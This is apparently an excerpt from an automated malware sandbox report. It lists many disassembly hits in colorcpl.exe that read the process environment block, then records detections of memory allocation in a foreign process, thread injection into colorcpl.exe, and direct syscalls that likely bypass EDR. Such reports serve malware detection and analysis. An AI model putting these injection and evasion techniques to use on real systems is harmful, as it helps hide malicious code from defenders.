Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A6420 mov eax, dword ptr fs:[00000030h] 10_2_227A6420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A6420 mov eax, dword ptr fs:[00000030h] 10_2_227A6420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A6420 mov eax, dword ptr fs:[00000030h] 10_2_227A6420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A6420 mov eax, dword ptr fs:[00000030h] 10_2_227A6420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A6420 mov eax, dword ptr fs:[00000030h] 10_2_227A6420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A6420 mov eax, dword ptr fs:[00000030h] 10_2_227A6420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22758402 mov eax, dword ptr fs:[00000030h] 10_2_22758402
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22758402 mov eax, dword ptr fs:[00000030h] 10_2_22758402
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22758402 mov eax, dword ptr fs:[00000030h] 10_2_22758402
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227204E5 mov ecx, dword ptr fs:[00000030h] 10_2_227204E5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227544B0 mov ecx, dword ptr fs:[00000030h] 10_2_227544B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AA4B0 mov eax, dword ptr fs:[00000030h] 10_2_227AA4B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227264AB mov eax, dword ptr fs:[00000030h] 10_2_227264AB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DA49A mov eax, dword ptr fs:[00000030h] 10_2_227DA49A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275656A mov eax, dword ptr fs:[00000030h] 10_2_2275656A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275656A mov eax, dword ptr fs:[00000030h] 10_2_2275656A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275656A mov eax, dword ptr fs:[00000030h] 10_2_2275656A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22728550 mov eax, dword ptr fs:[00000030h] 10_2_22728550
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22728550 mov eax, dword ptr fs:[00000030h] 10_2_22728550
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730535 mov eax, dword ptr fs:[00000030h] 10_2_22730535
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730535 mov eax, dword ptr fs:[00000030h] 10_2_22730535
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730535 mov eax, dword ptr fs:[00000030h] 10_2_22730535
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730535 mov eax, dword ptr fs:[00000030h] 10_2_22730535
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730535 mov eax, dword ptr fs:[00000030h] 10_2_22730535
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730535 mov eax, dword ptr fs:[00000030h] 10_2_22730535
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E53E mov eax, dword ptr fs:[00000030h] 10_2_2274E53E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E53E mov eax, dword ptr fs:[00000030h] 10_2_2274E53E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E53E mov eax, dword ptr fs:[00000030h] 10_2_2274E53E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E53E mov eax, dword ptr fs:[00000030h] 10_2_2274E53E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E53E mov eax, dword ptr fs:[00000030h] 10_2_2274E53E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B6500 mov eax, dword ptr fs:[00000030h] 10_2_227B6500
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4500 mov eax, dword ptr fs:[00000030h] 10_2_227F4500
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4500 mov eax, dword ptr fs:[00000030h] 10_2_227F4500
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4500 mov eax, dword ptr fs:[00000030h] 10_2_227F4500
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4500 mov eax, dword ptr fs:[00000030h] 10_2_227F4500
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4500 mov eax, dword ptr fs:[00000030h] 10_2_227F4500
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4500 mov eax, dword ptr fs:[00000030h] 10_2_227F4500
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4500 mov eax, dword ptr fs:[00000030h] 10_2_227F4500
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227225E0 mov eax, dword ptr fs:[00000030h] 10_2_227225E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E5E7 mov eax, dword ptr fs:[00000030h] 10_2_2274E5E7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E5E7 mov eax, dword ptr fs:[00000030h] 10_2_2274E5E7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E5E7 mov eax, dword ptr fs:[00000030h] 10_2_2274E5E7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E5E7 mov eax, dword ptr fs:[00000030h] 10_2_2274E5E7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E5E7 mov eax, dword ptr fs:[00000030h] 10_2_2274E5E7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E5E7 mov eax, dword ptr fs:[00000030h] 10_2_2274E5E7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E5E7 mov eax, dword ptr fs:[00000030h] 10_2_2274E5E7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E5E7 mov eax, dword ptr fs:[00000030h] 10_2_2274E5E7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275C5ED mov eax, dword ptr fs:[00000030h] 10_2_2275C5ED
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275C5ED mov eax, dword ptr fs:[00000030h] 10_2_2275C5ED
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227265D0 mov eax, dword ptr fs:[00000030h] 10_2_227265D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A5D0 mov eax, dword ptr fs:[00000030h] 10_2_2275A5D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A5D0 mov eax, dword ptr fs:[00000030h] 10_2_2275A5D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E5CF mov eax, dword ptr fs:[00000030h] 10_2_2275E5CF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E5CF mov eax, dword ptr fs:[00000030h] 10_2_2275E5CF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227445B1 mov eax, dword ptr fs:[00000030h] 10_2_227445B1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227445B1 mov eax, dword ptr fs:[00000030h] 10_2_227445B1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A05A7 mov eax, dword ptr fs:[00000030h] 10_2_227A05A7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A05A7 mov eax, dword ptr fs:[00000030h] 10_2_227A05A7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A05A7 mov eax, dword ptr fs:[00000030h] 10_2_227A05A7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E59C mov eax, dword ptr fs:[00000030h] 10_2_2275E59C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22722582 mov eax, dword ptr fs:[00000030h] 10_2_22722582
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22722582 mov ecx, dword ptr fs:[00000030h] 10_2_22722582
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22754588 mov eax, dword ptr fs:[00000030h] 10_2_22754588
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279CA72 mov eax, dword ptr fs:[00000030h] 10_2_2279CA72
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279CA72 mov eax, dword ptr fs:[00000030h] 10_2_2279CA72
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275CA6F mov eax, dword ptr fs:[00000030h] 10_2_2275CA6F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275CA6F mov eax, dword ptr fs:[00000030h] 10_2_2275CA6F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275CA6F mov eax, dword ptr fs:[00000030h] 10_2_2275CA6F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CEA60 mov eax, dword ptr fs:[00000030h] 10_2_227CEA60
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726A50 mov eax, dword ptr fs:[00000030h] 10_2_22726A50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726A50 mov eax, dword ptr fs:[00000030h] 10_2_22726A50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726A50 mov eax, dword ptr fs:[00000030h] 10_2_22726A50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726A50 mov eax, dword ptr fs:[00000030h] 10_2_22726A50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726A50 mov eax, dword ptr fs:[00000030h] 10_2_22726A50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726A50 mov eax, dword ptr fs:[00000030h] 10_2_22726A50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726A50 mov eax, dword ptr fs:[00000030h] 10_2_22726A50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730A5B mov eax, dword ptr fs:[00000030h] 10_2_22730A5B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730A5B mov eax, dword ptr fs:[00000030h] 10_2_22730A5B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22744A35 mov eax, dword ptr fs:[00000030h] 10_2_22744A35
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22744A35 mov eax, dword ptr fs:[00000030h] 10_2_22744A35
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275CA38 mov eax, dword ptr fs:[00000030h] 10_2_2275CA38
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275CA24 mov eax, dword ptr fs:[00000030h] 10_2_2275CA24
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274EA2E mov eax, dword ptr fs:[00000030h] 10_2_2274EA2E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227ACA11 mov eax, dword ptr fs:[00000030h] 10_2_227ACA11
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275AAEE mov eax, dword ptr fs:[00000030h] 10_2_2275AAEE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275AAEE mov eax, dword ptr fs:[00000030h] 10_2_2275AAEE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720AD0 mov eax, dword ptr fs:[00000030h] 10_2_22720AD0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22754AD0 mov eax, dword ptr fs:[00000030h] 10_2_22754AD0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22754AD0 mov eax, dword ptr fs:[00000030h] 10_2_22754AD0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22776ACC mov eax, dword ptr fs:[00000030h] 10_2_22776ACC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22776ACC mov eax, dword ptr fs:[00000030h] 10_2_22776ACC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22776ACC mov eax, dword ptr fs:[00000030h] 10_2_22776ACC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22728AA0 mov eax, dword ptr fs:[00000030h] 10_2_22728AA0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22728AA0 mov eax, dword ptr fs:[00000030h] 10_2_22728AA0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22776AA4 mov eax, dword ptr fs:[00000030h] 10_2_22776AA4
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22758A90 mov edx, dword ptr fs:[00000030h] 10_2_22758A90
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272EA80 mov eax, dword ptr fs:[00000030h] 10_2_2272EA80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4A80 mov eax, dword ptr fs:[00000030h] 10_2_227F4A80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271CB7E mov eax, dword ptr fs:[00000030h] 10_2_2271CB7E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22718B50 mov eax, dword ptr fs:[00000030h] 10_2_22718B50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F2B57 mov eax, dword ptr fs:[00000030h] 10_2_227F2B57
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F2B57 mov eax, dword ptr fs:[00000030h] 10_2_227F2B57
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F2B57 mov eax, dword ptr fs:[00000030h] 10_2_227F2B57
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F2B57 mov eax, dword ptr fs:[00000030h] 10_2_227F2B57
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CEB50 mov eax, dword ptr fs:[00000030h] 10_2_227CEB50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D4B4B mov eax, dword ptr fs:[00000030h] 10_2_227D4B4B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D4B4B mov eax, dword ptr fs:[00000030h] 10_2_227D4B4B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B6B40 mov eax, dword ptr fs:[00000030h] 10_2_227B6B40
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B6B40 mov eax, dword ptr fs:[00000030h] 10_2_227B6B40
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EAB40 mov eax, dword ptr fs:[00000030h] 10_2_227EAB40
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C8B42 mov eax, dword ptr fs:[00000030h] 10_2_227C8B42
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274EB20 mov eax, dword ptr fs:[00000030h] 10_2_2274EB20
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274EB20 mov eax, dword ptr fs:[00000030h] 10_2_2274EB20
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E8B28 mov eax, dword ptr fs:[00000030h] 10_2_227E8B28
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E8B28 mov eax, dword ptr fs:[00000030h] 10_2_227E8B28
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279EB1D mov eax, dword ptr fs:[00000030h] 10_2_2279EB1D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4B00 mov eax, dword ptr fs:[00000030h] 10_2_227F4B00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22728BF0 mov eax, dword ptr fs:[00000030h] 10_2_22728BF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22728BF0 mov eax, dword ptr fs:[00000030h] 10_2_22728BF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22728BF0 mov eax, dword ptr fs:[00000030h] 10_2_22728BF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274EBFC mov eax, dword ptr fs:[00000030h] 10_2_2274EBFC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227ACBF0 mov eax, dword ptr fs:[00000030h] 10_2_227ACBF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CEBD0 mov eax, dword ptr fs:[00000030h] 10_2_227CEBD0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22740BCB mov eax, dword ptr fs:[00000030h] 10_2_22740BCB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22740BCB mov eax, dword ptr fs:[00000030h] 10_2_22740BCB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22740BCB mov eax, dword ptr fs:[00000030h] 10_2_22740BCB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720BCD mov eax, dword ptr fs:[00000030h] 10_2_22720BCD
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720BCD mov eax, dword ptr fs:[00000030h] 10_2_22720BCD
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720BCD mov eax, dword ptr fs:[00000030h] 10_2_22720BCD
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730BBE mov eax, dword ptr fs:[00000030h] 10_2_22730BBE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730BBE mov eax, dword ptr fs:[00000030h] 10_2_22730BBE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D4BB0 mov eax, dword ptr fs:[00000030h] 10_2_227D4BB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D4BB0 mov eax, dword ptr fs:[00000030h] 10_2_227D4BB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AE872 mov eax, dword ptr fs:[00000030h] 10_2_227AE872
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AE872 mov eax, dword ptr fs:[00000030h] 10_2_227AE872
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B6870 mov eax, dword ptr fs:[00000030h] 10_2_227B6870
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B6870 mov eax, dword ptr fs:[00000030h] 10_2_227B6870
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22750854 mov eax, dword ptr fs:[00000030h] 10_2_22750854
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22724859 mov eax, dword ptr fs:[00000030h] 10_2_22724859
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22724859 mov eax, dword ptr fs:[00000030h] 10_2_22724859
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22732840 mov ecx, dword ptr fs:[00000030h] 10_2_22732840
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22742835 mov eax, dword ptr fs:[00000030h] 10_2_22742835
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22742835 mov eax, dword ptr fs:[00000030h] 10_2_22742835
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22742835 mov eax, dword ptr fs:[00000030h] 10_2_22742835
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22742835 mov ecx, dword ptr fs:[00000030h] 10_2_22742835
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22742835 mov eax, dword ptr fs:[00000030h] 10_2_22742835
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22742835 mov eax, dword ptr fs:[00000030h] 10_2_22742835
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A830 mov eax, dword ptr fs:[00000030h] 10_2_2275A830
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C483A mov eax, dword ptr fs:[00000030h] 10_2_227C483A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C483A mov eax, dword ptr fs:[00000030h] 10_2_227C483A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AC810 mov eax, dword ptr fs:[00000030h] 10_2_227AC810
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275C8F9 mov eax, dword ptr fs:[00000030h] 10_2_2275C8F9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275C8F9 mov eax, dword ptr fs:[00000030h] 10_2_2275C8F9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EA8E4 mov eax, dword ptr fs:[00000030h] 10_2_227EA8E4
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274E8C0 mov eax, dword ptr fs:[00000030h] 10_2_2274E8C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F08C0 mov eax, dword ptr fs:[00000030h] 10_2_227F08C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AC89D mov eax, dword ptr fs:[00000030h] 10_2_227AC89D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720887 mov eax, dword ptr fs:[00000030h] 10_2_22720887
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C4978 mov eax, dword ptr fs:[00000030h] 10_2_227C4978
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C4978 mov eax, dword ptr fs:[00000030h] 10_2_227C4978
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AC97C mov eax, dword ptr fs:[00000030h] 10_2_227AC97C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22746962 mov eax, dword ptr fs:[00000030h] 10_2_22746962
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22746962 mov eax, dword ptr fs:[00000030h] 10_2_22746962
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22746962 mov eax, dword ptr fs:[00000030h] 10_2_22746962
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2276096E mov eax, dword ptr fs:[00000030h] 10_2_2276096E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2276096E mov edx, dword ptr fs:[00000030h] 10_2_2276096E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2276096E mov eax, dword ptr fs:[00000030h] 10_2_2276096E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A0946 mov eax, dword ptr fs:[00000030h] 10_2_227A0946
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4940 mov eax, dword ptr fs:[00000030h] 10_2_227F4940
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A892A mov eax, dword ptr fs:[00000030h] 10_2_227A892A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B892B mov eax, dword ptr fs:[00000030h] 10_2_227B892B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AC912 mov eax, dword ptr fs:[00000030h] 10_2_227AC912
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22718918 mov eax, dword ptr fs:[00000030h] 10_2_22718918
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22718918 mov eax, dword ptr fs:[00000030h] 10_2_22718918
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E908 mov eax, dword ptr fs:[00000030h] 10_2_2279E908
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E908 mov eax, dword ptr fs:[00000030h] 10_2_2279E908
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227529F9 mov eax, dword ptr fs:[00000030h] 10_2_227529F9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227529F9 mov eax, dword ptr fs:[00000030h] 10_2_227529F9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AE9E0 mov eax, dword ptr fs:[00000030h] 10_2_227AE9E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A9D0 mov eax, dword ptr fs:[00000030h] 10_2_2272A9D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A9D0 mov eax, dword ptr fs:[00000030h] 10_2_2272A9D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A9D0 mov eax, dword ptr fs:[00000030h] 10_2_2272A9D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A9D0 mov eax, dword ptr fs:[00000030h] 10_2_2272A9D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A9D0 mov eax, dword ptr fs:[00000030h] 10_2_2272A9D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A9D0 mov eax, dword ptr fs:[00000030h] 10_2_2272A9D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227549D0 mov eax, dword ptr fs:[00000030h] 10_2_227549D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EA9D3 mov eax, dword ptr fs:[00000030h] 10_2_227EA9D3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B69C0 mov eax, dword ptr fs:[00000030h] 10_2_227B69C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A89B3 mov esi, dword ptr fs:[00000030h] 10_2_227A89B3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A89B3 mov eax, dword ptr fs:[00000030h] 10_2_227A89B3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A89B3 mov eax, dword ptr fs:[00000030h] 10_2_227A89B3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227329A0 mov eax, dword ptr fs:[00000030h] 10_2_227329A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227329A0 mov eax, dword ptr fs:[00000030h] 10_2_227329A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227329A0 mov eax, dword ptr fs:[00000030h] 10_2_227329A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227329A0 mov eax, dword ptr fs:[00000030h] 10_2_227329A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227329A0 mov eax, dword ptr fs:[00000030h] 10_2_227329A0

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\z10982283782.exe Memory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 65F0000 protect: page execute and read and write Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\z10982283782.exe Thread created: C:\Windows\SysWOW64\colorcpl.exe EIP: 65F1560 Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe NtWriteVirtualMemory: Direct from: 0x77762E3C Jump to behavior
